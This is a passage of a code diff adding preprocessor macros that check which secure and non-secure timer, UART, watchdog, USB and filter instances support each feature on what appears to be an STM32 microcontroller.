((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : at least 5 capture/compare channels *******/ +#define IS_TIM_CC5_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : at least 6 capture/compare channels *******/ +#define IS_TIM_CC6_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : DMA requests generation (TIMx_DIER.UDE) ***/ +#define IS_TIM_DMA_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM6_NS) || ((INSTANCE) == TIM6_S) || \ + ((INSTANCE) == TIM7_NS) || ((INSTANCE) == TIM7_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/************ TIM Instances : DMA requests generation (TIMx_DIER.CCxDE) *******/ +#define IS_TIM_DMA_CC_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/******************** TIM Instances : DMA burst feature ***********************/ +#define IS_TIM_DMABURST_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/******************* TIM Instances : output(s) available **********************/ +#define IS_TIM_CCX_INSTANCE(INSTANCE, CHANNEL) \ + (((((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4) || \ + ((CHANNEL) == TIM_CHANNEL_5) || \ + ((CHANNEL) == TIM_CHANNEL_6))) \ + || \ + ((((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4))) \ + || \ + ((((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4))) \ + || \ + ((((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4))) \ + || \ + ((((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4))) \ + || \ + ((((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4) || \ + ((CHANNEL) == TIM_CHANNEL_5) || \ + ((CHANNEL) == TIM_CHANNEL_6))) \ + || \ + ((((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2))) \ + || \ + ((((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1))) \ + || \ + ((((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1)))) + +/****************** TIM Instances : supporting complementary output(s) ********/ +#define IS_TIM_CCXN_INSTANCE(INSTANCE, CHANNEL) \ + (((((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4))) \ + || \ + ((((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4))) \ + || \ + ((((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) && \ + ((CHANNEL) == TIM_CHANNEL_1)) \ + || \ + ((((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S)) && \ + ((CHANNEL) == TIM_CHANNEL_1)) \ + || \ + ((((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) && \ + ((CHANNEL) == TIM_CHANNEL_1))) + +/****************** TIM Instances : supporting clock division *****************/ +#define IS_TIM_CLOCK_DIVISION_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/****** TIM Instances : supporting external clock mode 1 for ETRF input *******/ +#define IS_TIM_CLOCKSOURCE_ETRMODE1_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****** TIM Instances : supporting external clock mode 2 for ETRF input *******/ +#define IS_TIM_CLOCKSOURCE_ETRMODE2_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : supporting external clock mode 1 for TIX inputs*/ +#define IS_TIM_CLOCKSOURCE_TIX_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/****************** TIM Instances : supporting internal trigger inputs(ITRX) *******/ +#define IS_TIM_CLOCKSOURCE_ITRX_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/****************** TIM Instances : supporting combined 3-phase PWM mode ******/ +#define IS_TIM_COMBINED3PHASEPWM_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : supporting commutation event generation ***/ +#define IS_TIM_COMMUTATION_EVENT_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/****************** TIM Instances : supporting counting mode selection ********/ +#define IS_TIM_COUNTER_MODE_SELECT_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : supporting encoder interface **************/ +#define IS_TIM_ENCODER_INTERFACE_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : supporting Hall sensor interface **********/ +#define IS_TIM_HALL_SENSOR_INTERFACE_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/**************** TIM Instances : external trigger input available ************/ +#define IS_TIM_ETR_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****** TIM Instances : Master mode available (TIMx_CR2.MMS available )********/ +#define IS_TIM_MASTER_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM6_NS) || ((INSTANCE) == TIM6_S) || \ + ((INSTANCE) == TIM7_NS) || ((INSTANCE) == TIM7_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/*********** TIM Instances : Slave mode available (TIMx_SMCR available )*******/ +#define IS_TIM_SLAVE_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/****************** TIM Instances : supporting OCxREF clear *******************/ +#define IS_TIM_OCXREF_CLEAR_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/****************** TIM Instances : remapping capability **********************/ +#define IS_TIM_REMAP_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : supporting repetition counter *************/ +#define IS_TIM_REPETITION_COUNTER_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/****************** TIM Instances : supporting ADC triggering through TRGO2 ***/ +#define IS_TIM_TRGO2_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/******************* TIM Instances : Timer input XOR function *****************/ +#define IS_TIM_XOR_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/******************* TIM Instances : Timer input selection ********************/ +#define IS_TIM_TISEL_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) ||\ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) ||\ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) ||\ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) ||\ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) ||\ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) ||\ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)||\ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S)||\ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/******************* TIM Instances : supporting HSE32 as input ********************/ +#define IS_TIM_HSE32_INSTANCE(INSTANCE) (((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) ||\ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/****************** TIM Instances : Advanced timer instances *******************/ +#define IS_TIM_ADVANCED_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : supporting synchronization ****************/ +#define IS_TIM_SYNCHRO_INSTANCE(__INSTANCE__) (((__INSTANCE__) == TIM1_NS) || ((__INSTANCE__) == TIM1_S) || \ + ((__INSTANCE__) == TIM2_NS) || ((__INSTANCE__) == TIM2_S) || \ + ((__INSTANCE__) == TIM3_NS) || ((__INSTANCE__) == TIM3_S) || \ + ((__INSTANCE__) == TIM4_NS) || ((__INSTANCE__) == TIM4_S) || \ + ((__INSTANCE__) == TIM5_NS) || ((__INSTANCE__) == TIM5_S) || \ + ((__INSTANCE__) == TIM6_NS) || ((__INSTANCE__) == TIM6_S) || \ + ((__INSTANCE__) == TIM7_NS) || ((__INSTANCE__) == TIM7_S) || \ + ((__INSTANCE__) == TIM8_NS) || ((__INSTANCE__) == TIM8_S) || \ + ((__INSTANCE__) == TIM15_NS) || ((__INSTANCE__) == TIM15_S)) + +/****************************** TSC Instances *********************************/ +#define IS_TSC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == TSC_NS) || ((INSTANCE) == TSC_S)) + +/******************** USART Instances : Synchronous mode **********************/ +#define IS_USART_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S)) + +/******************** UART Instances : Asynchronous mode **********************/ +#define IS_UART_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S)) + +/*********************** UART Instances : FIFO mode ***************************/ +#define IS_UART_FIFO_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/*********************** UART Instances : SPI Slave mode **********************/ +#define IS_UART_SPI_SLAVE_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S))|| \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) + +/****************** UART Instances : Auto Baud Rate detection ****************/ +#define IS_USART_AUTOBAUDRATE_DETECTION_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S)) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) + +/****************** UART Instances : Driver Enable *****************/ +#define IS_UART_DRIVER_ENABLE_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/******************** UART Instances : Half-Duplex mode **********************/ +#define IS_UART_HALFDUPLEX_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/****************** UART Instances : Hardware Flow control ********************/ +#define IS_UART_HWFLOW_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/******************** UART Instances : LIN mode **********************/ +#define IS_UART_LIN_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S)) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) + +/******************** UART Instances : Wake-up from Stop mode **********************/ +#define IS_UART_WAKEUP_FROMSTOP_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/*********************** UART Instances : IRDA mode ***************************/ +#define IS_IRDA_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S)) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) + +/********************* USART Instances : Smard card mode ***********************/ +#define IS_SMARTCARD_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S))|| \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) + +/******************** LPUART Instance *****************************************/ +#define IS_LPUART_INSTANCE(INSTANCE) (((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/*********************** UART Instances : AUTONOMOUS mode ***************************/ +#define IS_UART_AUTONOMOUS_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/****************************** IWDG Instances ********************************/ +#define IS_IWDG_ALL_INSTANCE(INSTANCE) (((INSTANCE) == IWDG_NS) || ((INSTANCE) == IWDG_S)) + +/****************************** WWDG Instances ********************************/ +#define IS_WWDG_ALL_INSTANCE(INSTANCE) (((INSTANCE) == WWDG_NS) || ((INSTANCE) == WWDG_S)) + +/****************************** UCPD Instances ********************************/ +#define IS_UCPD_ALL_INSTANCE(INSTANCE) (((INSTANCE) == UCPD1_NS) || ((INSTANCE) == UCPD1_S)) + +/******************************* OTG FS HCD Instances *************************/ +#define IS_HCD_ALL_INSTANCE(INSTANCE) (((INSTANCE) == USB_OTG_HS_NS) || ((INSTANCE) == USB_OTG_HS_S)) + +/******************************* OTG FS PCD Instances *************************/ +#define IS_PCD_ALL_INSTANCE(INSTANCE) (((INSTANCE) == USB_OTG_HS_NS) || ((INSTANCE) == USB_OTG_HS_S)) + +/******************************* MDF/ADF Instances ****************************/ +#define IS_MDF_ALL_INSTANCE(INSTANCE) (((INSTANCE) == MDF1_Filter0_NS) || ((INSTANCE) == MDF1_Filter0_S) || \ + ((INSTANCE) == MDF1_Filter1_NS) || ((INSTANCE) == MDF1_Filter1_S) || \ + ((INSTANCE) == MDF1_Filter2_NS) || ((INSTANCE) == MDF1_Filter2_S) || \ + ((INSTANCE) == MDF1_Filter3_NS) || ((INSTANCE) == MDF1_Filter3_S) || \ + ((INSTANCE) == 